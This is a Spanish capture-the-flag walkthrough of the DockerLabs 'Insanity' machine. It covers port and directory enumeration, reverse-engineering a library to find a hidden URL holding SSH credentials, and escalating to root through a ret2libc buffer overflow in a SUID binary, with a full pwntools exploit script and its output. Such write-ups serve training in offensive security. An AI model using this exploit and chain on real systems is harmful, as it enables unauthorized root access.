Insanity DockerLabs (Hard)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip insanity.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh insanity.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Desactivando el ASLR para poder resolver el laboratorio...
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-23 03:14 EST
Nmap scan report for 172.17.0.2
Host is up (0.000042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 d5:58:45:4b:77:e5:b7:ae:6f:bd:24:9c:6b:52:df:78 (ECDSA)
|_ 256 0b:30:46:79:83:bd:6f:00:28:a0:98:32:d1:ef:9f:02 (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://insanity.dl
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.79 seconds
Vemos que cuando nos metemos en la pagina, nos redirige a un dominio llamado insanity.dl
por lo que haremos lo siguiente.
nano /etc/hosts
#Dentro del nano
<IP> insanity.dl
Lo guardamos y volvemos a cargar la pagina.
Si inspeccionamos la pagina, abajo del todo veremos lo siguiente en el codigo:
<!-- Subdominio?? -->
<!-- Tal vez fuzzing??? -->
<!-- O capaz ninguno... -->
Vamos a probar a buscar alguna de estas cosas, por lo que realizaremos un poco de fuzzing
con un diccionario grande, ya que con los medianos no encuentra nada:
Gobuster
gobuster dir -u http://insanity.dl/ -w ../../Downloads/directory-list-2.3-big.txt -x html,php,txt -t 100 -k
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://insanity.dl/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: ../../Downloads/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 276]
/index.html (Status: 200) [Size: 10945]
/javascript (Status: 301) [Size: 315] [--> http://insanity.dl/javascript/]
/.php (Status: 403) [Size: 276]
/.html (Status: 403) [Size: 276]
/.php (Status: 403) [Size: 276]
/server-status (Status: 403) [Size: 276]
/logitech-quickcam_W0QQcatrefZC5QQfbdZ1QQfclZ3QQfposZ95112QQfromZR14QQfrppZ50QQfsclZ1QQfsooZ1QQfsopZ1QQfssZ0QQfstypeZ1QQftrtZ1QQftrvZ1QQftsZ2QQnojsprZyQQpfidZ0QQsaatcZ1QQsacatZQ2d1QQsacqyopZgeQQsacurZ0QQsadisZ200QQsaslopZ1QQsofocusZbsQQsorefinesearchZ1.html (Status: 403) [Size: 276]
/tinyp (Status: 301) [Size: 310] [--> http://insanity.dl/tinyp/]
Progress: 5095328 / 5095332 (100.00%)
===============================================================
Finished
===============================================================
Vemos un directorio interesante llamado /tinyp
que si entramos en el veremos 2
archivos:
libcredenciales.so
secret
Por lo que nos lo descargaremos para ver mas en detalle que son.
Si ejecutamos el secret
veremos lo siguiente:
./secret
Info:
Introduce la clave: 1234
Clave incorrecta.
Y si ejecutamos el otro veremos esto:
./libcredenciales.so
Info:
zsh: segmentation fault ./libcredenciales.so
Vemos que el archivo secret
depende del archivo libcredenciales.so
por lo que tendremos que investigar el archivo secret
.
Pero no conseguimos mucho, sin embargo si utilizamos ghidra
para hacer ingenieria inversa
al archivo libcredenciales.so
veremos lo siguiente:
Escalate user maci
Ingenieria inversa
ghidra
Seleccionamos el archivo libcredenciales.so
y veremos el codigo en C
, por lo que nos vamos a ver que funciones tiene y vemos unas bastante interesantes llamadas a,b y g
.
El código sugiere que la función g()
utiliza b()
y a()
para transformar un conjunto de valores almacenados en variables como local_4d8
, local_4d4
, etc., en una cadena de caracteres que se utiliza como parte de una URL o nombre de archivo. Este flujo sugiere que puede haber una relación entre la transformación y un valor esperado.
Análisis del código:
a(int param_1)
:Este realiza una transformación condicional:
Si el valor está entre
1
y0x1A
, suma0x60
.Si no, hay casos especiales para
0x1B
,0x1C
,0x1D
, y0x1E
.Valores que no encajan en ninguna de estas condiciones se convierten a
0x3F
.
b(long param_1, int param_2, long param_3)
:Llama a
a()
para cada valor en un arreglo de enteros, transformándolos en caracteres que almacena en el espacio apuntado porparam_3
.
g()
:Define un arreglo de valores (
local_4d8
,local_4d4
, ...,local_438
).Usa
b()
para convertir estos valores en una cadena almacenada enauStack_528
.Construye una URL y ejecuta un comando
wget
para descargar un archivo.
Por lo que nos vamos a montar un script para poder decodificar eso y a ver a que URL
nos manda esto:
decodeLibcredenciales.py
def a(param_1):
if param_1 < 1 or param_1 > 0x1A:
if param_1 == 0x1B:
return 0x3A
elif param_1 == 0x1C:
return 0x2F
elif param_1 == 0x1D:
return 0x2E
elif param_1 == 0x1E:
return 0x5F
else:
return 0x3F
else:
return param_1 + 0x60
def b(values):
result = ""
for value in values:
result += chr(a(value))
return result
# Valores extraídos de g()
values = [
8, 20, 20, 16, 27, 28, 28, 9, 14, 19, 1, 14, 9, 20, 25, 29, 4, 12, 28, 21,
12, 20, 18, 1, 30, 19, 5, 3, 18, 5, 20, 30, 6, 15, 12, 4, 5, 18, 11, 13, 1
]
# Ejecutar b() sobre los valores
result = b(values)
print("Resultado:", result)
Lo ejecutamos de la siguiente forma:
python3 decodeLibcredenciales.py
Info:
Resultado: http://insanity.dl/ultra_secret_folderkma
Vemos que hay un directorio en la web
, si entramos ahi veremos un .txt
con una secuencia de numeros 2334645634646.txt
dentro de el veremos lo siguiente:
Credenciales de ssh
maci:CrACkEd
Vemos que hemos obtenido las credenciales del usuario maci
, por lo que nos conectaremos a el.
SSH
ssh maci@<IP>
Metemos como contraseña CrACkEd
y veremos que estamos dentro.
Escalate Privileges
Si listamos por los permisos SUID
que tenemos:
find / -type f -perm -4000 -ls 2>/dev/null
Info:
2135372 16 -r-sr-xr-x 1 root root 16080 Jan 21 06:05 /opt/vuln
2139252 640 -rwsr-xr-x 1 root root 653888 Dec 8 00:14 /usr/lib/openssh/ssh-keysign
2138585 52 -rwsr-xr-- 1 root messagebus 51272 Sep 16 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
2128040 52 -rwsr-xr-x 1 root root 52880 Mar 23 2023 /usr/bin/chsh
2128164 48 -rwsr-xr-x 1 root root 48896 Mar 23 2023 /usr/bin/newgrp
2128175 68 -rwsr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd
2135714 72 -rwsr-xr-x 1 root root 72000 Nov 21 20:01 /usr/bin/su
2128101 88 -rwsr-xr-x 1 root root 88496 Mar 23 2023 /usr/bin/gpasswd
2135600 60 -rwsr-xr-x 1 root root 59704 Nov 21 20:01 /usr/bin/mount
2135754 36 -rwsr-xr-x 1 root root 35128 Nov 21 20:01 /usr/bin/umount
2128034 64 -rwsr-xr-x 1 root root 62672 Mar 23 2023 /usr/bin/chfn
2135715 276 -rwsr-xr-x 1 root root 281624 Jun 27 2023 /usr/bin/sudo
Vemos una interesante que esta en el /opt
llamado vuln
, si la intentamos ejecutar, veremos lo siguiente:
cd /opt
./vuln
Info:
Escribe tu nombre: maci
Y nos vemos nada mas, pero si probamos lo siguiente:
./vuln
Info:
Escribe tu nombre: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
Vemos que nos da un Segmentation fault
por lo que podremos hacerle Buffer Overflow
.
Si comprobamos si gdb
esta instalado, vemos que si lo esta:
gdb -h
Por lo que podremos hacerlo directamente en la propia maquina victima.
GDB
gdb -q ./vuln
Dentro del gdb
con el binario cargado vamos a probar a realizar una explotación de ret2libc
, lo que implica el uso de funciones de la biblioteca estándar de C
(como system
, execve
, o exit
) para ejecutar un código malicioso (en este caso, obtener una shell
)
Obtener el offset del binario
En nuestro kali
nos tendremos que llevar el binario para saber el offset
de forma mas sencillita, por lo que abriremos un server de python3
en la maquina y nos lo pasaremos al kali
con wget
una vez que ya lo tengamos instalaremos la herramienta para el gdb
llamada pwndbg
, una vez echo todo esto, haremos lo siguiente:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
Info:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
Dentro del gdb
ejecutaremos r
e insertaremos el patron que hemos creado anteriormente, por lo que veremos esto:
Starting program: /home/kali/Desktop/insanity/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Escribe tu nombre: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401189 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
RAX 0x7fffffffe060 ◂— 0x6141316141306141 ('Aa0Aa1Aa')
RBX 0x7fffffffe208 —▸ 0x7fffffffe4f4 ◂— '/home/kali/Desktop/insanity/vuln'
RCX 0x7ffff7f968e0 (_IO_2_1_stdin_) ◂— 0xfbad2288
RDX 0
RDI 0x7ffff7f98720 (_IO_stdfile_0_lock) ◂— 0
RSI 0x405800 ◂— 'Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A\n'
R8 0x405841 ◂— 0
R9 0
R10 3
R11 0x246
R12 0
R13 0x7fffffffe218 —▸ 0x7fffffffe515 ◂— 'COLORTERM=truecolor'
R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
R15 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401130 (__do_global_dtors_aux) ◂— endbr64
RBP 0x4134654133654132 ('2Ae3Ae4A')
RSP 0x7fffffffe0e8 ◂— 0x3765413665413565 ('e5Ae6Ae7')
RIP 0x401189 (vuln+27) ◂— ret
────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────
► 0x401189 <vuln+27> ret <0x3765413665413565>
↓
──────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe0e8 ◂— 0x3765413665413565 ('e5Ae6Ae7')
01:0008│ 0x7fffffffe0f0 ◂— 0x6641396541386541 ('Ae8Ae9Af')
02:0010│ 0x7fffffffe0f8 ◂— 0x4132664131664130 ('0Af1Af2A')
03:0018│ 0x7fffffffe100 ◂— 0x3566413466413366 ('f3Af4Af5')
04:0020│ 0x7fffffffe108 ◂— 0x6641376641366641 ('Af6Af7Af')
05:0028│ 0x7fffffffe110 ◂— 0x4130674139664138 ('8Af9Ag0A')
06:0030│ 0x7fffffffe118 ◂— 0x3367413267413167 ('g1Ag2Ag3')
07:0038│ 0x7fffffffe120 ◂— 0x6741356741346741 ('Ag4Ag5Ag')
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
► 0 0x401189 vuln+27
1 0x3765413665413565 None
2 0x6641396541386541 None
3 0x4132664131664130 None
4 0x3566413466413366 None
5 0x6641376641366641 None
6 0x4130674139664138 None
7 0x3367413267413167 None
───────────────────────────────────────────────────────────────────────────────────
Y dentificamos que la direccion de memoria es 0x3765413665413565
por lo que obtendremos su offset
con la siguiente herramienta:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x3765413665413565
Info:
[*] Exact match at offset 136
Veremos que es de 136
.
Ahora de aqui para abajo sera todo dentro de la maquina victima, lo de antes solamente era en la maquina
host
para sacar eloffset
.
Buscar la dirección de memoria /bin/sh
/bin/sh
(gdb) find &__libc_start_main,+9999999,"/bin/sh"
Info:
0x7ffff7f73031
warning: Unable to access 16000 bytes of target memory at 0x7ffff7fbd3b9, halting search.
1 pattern found.
Por lo que veremos la encintramos que estaria en la 0x7ffff7f73031
, vamos a ver si es cierto de la siguiente forma:
(gdb) x/s 0x7ffff7f73031
Info:
0x7ffff7f73031: "/bin/sh"
Vemos que si, por lo que ya tendriamos la dirección de memoria del sh
.
Buscar la dirección de memoria system
system
(gdb) p system
Info:
$1 = {int (const char *)} 0x7ffff7e29490 <__libc_system>
Vemos que la dirección seria 0x7ffff7e29490
.
Buscar la dirección de memoria ret
ret
ROPgadget --binary ./vuln
Info:
Gadgets information
============================================================
0x0000000000401077 : add al, 0 ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401181 : add al, ch ; mov ecx, 0x90fffffe ; leave ; ret
0x00000000004010db : add bh, bh ; loopne 0x401145 ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010a8 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x00000000004011da : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040114a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x00000000004010aa : add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x00000000004011dc : add byte ptr [rax], al ; pop rbp ; ret
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401064 : add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x0000000000401074 : add byte ptr [rax], al ; push 4 ; jmp 0x401020
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040114b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401149 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004010da : add dil, dil ; loopne 0x401145 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040114c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401147 : add eax, 0x2ef3 ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401067 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x0000000000401186 : call qword ptr [rax + 0x4855c3c9]
0x0000000000401010 : call rax
0x0000000000401163 : cli ; jmp 0x4010f0
0x00000000004010d8 : cmp byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401145 ; nop ; ret
0x0000000000401160 : endbr64 ; jmp 0x4010f0
0x0000000000401169 : in eax, 0x5f ; nop ; pop rbp ; ret
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010d5 : je 0x4010e0 ; mov edi, 0x404038 ; jmp rax
0x0000000000401117 : je 0x401120 ; mov edi, 0x404038 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401164 : jmp 0x4010f0
0x00000000004010dc : jmp rax
0x0000000000401188 : leave ; ret
0x00000000004010dd : loopne 0x401145 ; nop ; ret
0x0000000000401146 : mov byte ptr [rip + 0x2ef3], 1 ; pop rbp ; ret
0x0000000000401062 : mov dl, 0x2f ; add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x0000000000401165 : mov dl, byte ptr [rbp + 0x48] ; mov ebp, esp ; pop rdi ; nop ; pop rbp ; ret
0x00000000004011d9 : mov eax, 0 ; pop rbp ; ret
0x0000000000401168 : mov ebp, esp ; pop rdi ; nop ; pop rbp ; ret
0x0000000000401183 : mov ecx, 0x90fffffe ; leave ; ret
0x00000000004010d7 : mov edi, 0x404038 ; jmp rax
0x0000000000401052 : mov edx, 0x6800002f ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401167 : mov rbp, rsp ; pop rdi ; nop ; pop rbp ; ret
0x0000000000401187 : nop ; leave ; ret
0x000000000040116b : nop ; pop rbp ; ret
0x00000000004010df : nop ; ret
0x000000000040115c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010f0
0x00000000004010ac : nop dword ptr [rax] ; ret
0x00000000004010d6 : or dword ptr [rdi + 0x404038], edi ; jmp rax
0x000000000040114d : pop rbp ; ret
0x000000000040116a : pop rdi ; nop ; pop rbp ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401056 : push 2 ; jmp 0x401020
0x0000000000401066 : push 3 ; jmp 0x401020
0x0000000000401076 : push 4 ; jmp 0x401020
0x0000000000401166 : push rbp ; mov rbp, rsp ; pop rdi ; nop ; pop rbp ; ret
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004011e1 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011e0 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010d3 : test eax, eax ; je 0x4010e0 ; mov edi, 0x404038 ; jmp rax
0x0000000000401115 : test eax, eax ; je 0x401120 ; mov edi, 0x404038 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax
Unique gadgets found: 73
Vemos que la que nos interesa seria la siguiente linea:
0x0000000000401016 : ret
Por lo que seria la dirección 0x0000000000401016
.
Buscar la dirección de memoria pop_rdi_ret
pop_rdi_ret
ROPgadget --binary ./vuln | grep "pop rdi"
Info:
0x0000000000401165 : mov dl, byte ptr [rbp + 0x48] ; mov ebp, esp ; pop rdi ; nop ; pop rbp ; ret
0x0000000000401168 : mov ebp, esp ; pop rdi ; nop ; pop rbp ; ret
0x0000000000401167 : mov rbp, rsp ; pop rdi ; nop ; pop rbp ; ret
0x000000000040116a : pop rdi ; nop ; pop rbp ; ret
0x0000000000401166 : push rbp ; mov rbp, rsp ; pop rdi ; nop ; pop rbp ; ret
Vemos que la que nos interesa seria 0x000000000040116a
.
Esto nos da la dirección del gadget que necesitamos. pop rdi; ret
carga el valor de un argumento en el registro rdi (el primero para las funciones como system()
) y luego hace un ret para volver a la siguiente instrucción, que normalmente será la ejecución de la función.
Podremos obtener mas informacion acerca de esta tecnica y de como funciona en la siguiente pagina en la que me ayudo bastante para poder realizarla.
URL = Explotacion ret2libc Info
EXPLICACION DE TODO:
¿Qué es la técnica de ret2libc
?
ret2libc
?La técnica ret2libc es un ataque de desbordamiento de buffer utilizado para ejecutar funciones de la librería estándar de C (libc) sin necesidad de tener que escribir código malicioso como shellcode. En lugar de inyectar código directamente, el atacante redirige la ejecución del programa para llamar funciones ya presentes en la librería del sistema, como system()
, que permite ejecutar comandos en el sistema operativo.
En un ataque ret2libc:
Buffer overflow: El atacante provoca un desbordamiento en un buffer, lo que sobrescribe el registro de retorno (el RIP o EIP en arquitecturas modernas) y lo redirige a una función de libc, por ejemplo,
system()
.Gadget de ROP: Utiliza gadgets que permiten controlar los registros necesarios para invocar funciones en la libc de manera adecuada, como cargar los parámetros requeridos por la función
system()
(como la dirección de"/bin/sh"
).Ejecutar comandos: Esto permite al atacante ejecutar comandos del sistema, como abrir una shell con
system("/bin/sh")
.
Identificación de gadgets útiles:
Para realizar un ataque ret2libc, necesitamos gadgets que nos ayuden a preparar los registros para llamar a la función que queremos. En este caso, el gadget necesario es
pop rdi; ret
, que nos permite poner un argumento en el registro rdi (el primer argumento de una función en la convención de llamada x86_64).Usamos ROPgadget para encontrar estos gadgets. En el caso de nuestro binario, el gadget
pop rdi; ret
lo encontramos en la dirección0x40116a
.
Encontrar direcciones en la libc:
Para poder llamar a
system()
, necesitamos la dirección de esa función dentro de la memoria. Esta dirección está contenida dentro de la librería libc (una librería estándar que es utilizada por muchos programas).Una forma de encontrar esta dirección es buscar en memoria por la cadena
"/bin/sh"
, que es el argumento que pasa a la funciónsystem()
para ejecutar un shell. En este caso, la dirección encontrada fue0x7ffff7f73031
.
Obtener la dirección de system()
:
Para realizar el ataque, necesitamos la dirección de la función
system()
, que es la que ejecutará el comando/bin/sh
en el sistema. Usamospwn
para obtener esta dirección desde la librería libc.
Sabiendo toda esta informacion vamos a montarnos un script
en python3
:
from pwn import *
# Cargar el binario
binary = ELF('/opt/vuln')
p = process('/opt/vuln')
# Direcciones relevantes
pop_rdi_ret = 0x40116a # Dirección del gadget `pop rdi ; ret`
ret = 0x401016 # Gadget `ret` para alineación (opcional)
bin_sh = 0x7ffff7f73031 # Nueva dirección de "/bin/sh"
system = 0x7ffff7e29490 # Dirección de `system`
# Construcción del payload
offset = 136 # Offset para sobrescribir el RIP
payload = b"A" * offset # Relleno
payload += p64(pop_rdi_ret) # Gadget `pop rdi ; ret`
payload += p64(bin_sh) # Dirección de "/bin/sh"
payload += p64(ret) # Gadget `ret` para alineación (opcional)
payload += p64(system) # Dirección de `system`
# Enviar el payload
p.sendline(payload)
p.interactive()
Explicación del payload:
Relleno (
A
* offset): Se coloca un relleno para sobrescribir el registro de retorno (RIP) en la pila. El offset de136
es obtenido a través de pruebas previas (por ejemplo, congdb
).Gadget
pop rdi ; ret
: Usamos este gadget para colocar la dirección de"/bin/sh"
en el registro rdi, que es el primer argumento parasystem()
.Dirección de
"/bin/sh"
: La dirección de la cadena"/bin/sh"
se obtiene de la memoria.Gadget
ret
: A veces es necesario un gadget adicional comoret
para garantizar que la pila esté bien alineada antes de llamar a la función.Dirección de
system()
: Finalmente, usamos la dirección de la funciónsystem()
para ejecutar el comando"/bin/sh"
, que debería abrir una shell.
Ahora lo ejecutaremos de la siguiente forma:
python3 exploit.py
Info:
[*] '/opt/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/opt/vuln': pid 152
[*] Switching to interactive mode
Escribe tu nombre: $ id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(maci)
$ whoami
root
Y como vemos con esto ya seremos root
, por lo que habremos terminado la maquina.
Last updated